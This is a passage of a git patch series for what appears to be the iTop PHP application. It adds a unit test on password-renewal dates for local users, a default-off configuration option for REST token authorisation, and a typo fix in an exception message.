$oUserLocal->Set('password', 'fooBar1???1'); $oUserLocal->DBWrite(); $this->assertEquals($oExpectedAfter, $oUserLocal->Get('password_renewed_date'), 'UPDATE "password" fields trigger automatic change of the "password_renewed_date" field'); - //UPDATE both password & password_renewed_date + $oUserLocal = MetaModel::GetObject(UserLocal::class, $oUserLocal->GetKey()); $oUserLocal->Set('password', 'fooBar1???2'); $oUserLocal->Set('password_renewed_date', $oBefore); $oUserLocal->DBWrite(); @@ -304,5 +312,85 @@ class UserLocalTest extends ItopDataTestCase ), ); } + + /** + * @dataProvider CanExpireFixProvider + * + */ + public function testCanExpireFix($sExpirationMode, $sBefore, bool $bRenewedDateTouched) + { + $oBefore = is_null($sBefore) ? null : date(AttributeDate::GetInternalFormat(), strtotime($sBefore)); + $oNow = date(AttributeDate::GetInternalFormat()); + $oExpectedAfter = $bRenewedDateTouched ? $oNow : $oBefore; + + $aUserLocalValues = array('login' => 'john'); + if (!is_null($oBefore)) + { + $aUserLocalValues['password_renewed_date'] = $oBefore; + } + + /** @var UserLocal $oUserLocal */ + $oUserLocal = MetaModel::NewObject(UserLocal::class, $aUserLocalValues); + /** @var ormLinkSet $oProfileSet */ + $oProfileSet = $oUserLocal->Get('profile_list'); + + $oProfileSet->AddItem( + MetaModel::NewObject(URP_UserProfile::class, array('profileid' => 1)) + ); + + $this->assertEquals($oBefore, $oUserLocal->Get('password_renewed_date')); + + //INSERT + $oUserLocal->Set('password', 'fooBar1???'); + $oUserLocal->DBWrite(); + $this->assertEquals($oNow, $oUserLocal->Get('password_renewed_date'), 'INSERT sets the "password_renewed_date" to the current date'); + + $oUserLocal = MetaModel::GetObject(UserLocal::class, $oUserLocal->GetKey()); + $oUserLocal->Set('password_renewed_date', $oBefore); + $oUserLocal->DBWrite(); + $this->assertEquals($oBefore, $oUserLocal->Get('password_renewed_date'), 'UPDATE can target and change the "password_renewed_date"'); + + //UPDATE password + $oUserLocal = MetaModel::GetObject(UserLocal::class, $oUserLocal->GetKey()); + $oUserLocal->Set('expiration', $sExpirationMode); + $oUserLocal->DBWrite(); + $this->assertEquals($oExpectedAfter, $oUserLocal->Get('password_renewed_date'), 'UPDATE "password" fields trigger automatic change of the "password_renewed_date" field'); + } + + public function CanExpireFixProvider() + { + return array( + 'EXPIRE_CAN: nominal case' => array( + 'sExpirationMode' => 'can_expire', + 'oExpectedBefore' => null, + 'bRenewedDateTouched' => true, + ), + 'EXPIRE_NEVER (default mode): nothing changed on UserLocal' => array( + 'sExpirationMode' => 'never_expire', + 'oExpectedBefore' => null, + 'bRenewedDateTouched' => false, + ), + 'EXPIRE_FORCE: nominal case' => array( + 'sExpirationMode' => 'force_expire', + 'oExpectedBefore' => null, + 'bRenewedDateTouched' => true, + ), + 'EXPIRE_ONE_TIME_PWD: nominal case' => array( + 'sExpirationMode' => 'otp_expire', + 'oExpectedBefore' => null, + 'bRenewedDateTouched' => true, + ), + 'date initiated' => array( + 'sExpirationMode' => 'can_expire', + 'oBefore' => '-1 day', + 'bRenewedDateTouched' => false, + ), + 'date initiated in the future' => array( + 'sExpirationMode' => 'can_expire', + 'oBefore' => '+1 day', + 'bRenewedDateTouched' => false, + ), + ); + } } From 8c639fc23a8540d58efdf65c5664dee8946b8511 Mon Sep 17 00:00:00 2001 From: odain Date: Wed, 21 Dec 2022 15:23:49 +0100 Subject: [PATCH 229/230] =?UTF-8?q?N=C2=B05753=20-=20add=20config=20parame?= =?UTF-8?q?ter=20allow=5Frest=5Fservices=5Fvia=5Ftokens=20to=20bypass=20re?= =?UTF-8?q?st=20secure=20profile=20option?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/config.class.inc.php | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/core/config.class.inc.php b/core/config.class.inc.php index 13e1c33d8..6cd2e3ff3 100644 --- a/core/config.class.inc.php +++ b/core/config.class.inc.php @@ -1435,6 +1435,14 @@ class Config 'source_of_value' => '', 'show_in_conf_sample' => false, ], + 'allow_rest_services_via_tokens' => [ + 'type' => 'bool', + 'description' => 'When set to true, REST endpoint token authorization works even with secure_rest_services set.', + 'default' => false, + 'value' => false, + 'source_of_value' => '', + 'show_in_conf_sample' => false, + ], 'search_manual_submit' => [ 'type' => 'array', 'description' => 'Force manual submit of search all requests', From cdcc069099250d4dbc40e70d186375ceed521193 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 9 May 2023 14:02:02 +0200 Subject: [PATCH 230/230] Fix typo in exception message Regression introduced in fe179079 in support/3.0 branch and upwards --- core/dbobject.class.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/dbobject.class.php b/core/dbobject.class.php index 147764f93..7ed130eac 100644 --- a/core/dbobject.class.php +++ b/core/dbobject.class.php @@ -1931,7 +1931,7 @@ abstract class DBObject implements iDisplay /** @var \AttributeExternalKey $oAtt */ $sTargetClass = $oAtt->GetTargetClass(); if (false === MetaModel::IsObjectInDB($sTargetClass, $toCheck)) { - return "Target object not found (".$sTargetClass.".::".$toCheck.")"; + return "Target object not found ({$sTargetClass}::{$toCheck})"; } } if ($oAtt->IsHierarchicalKey())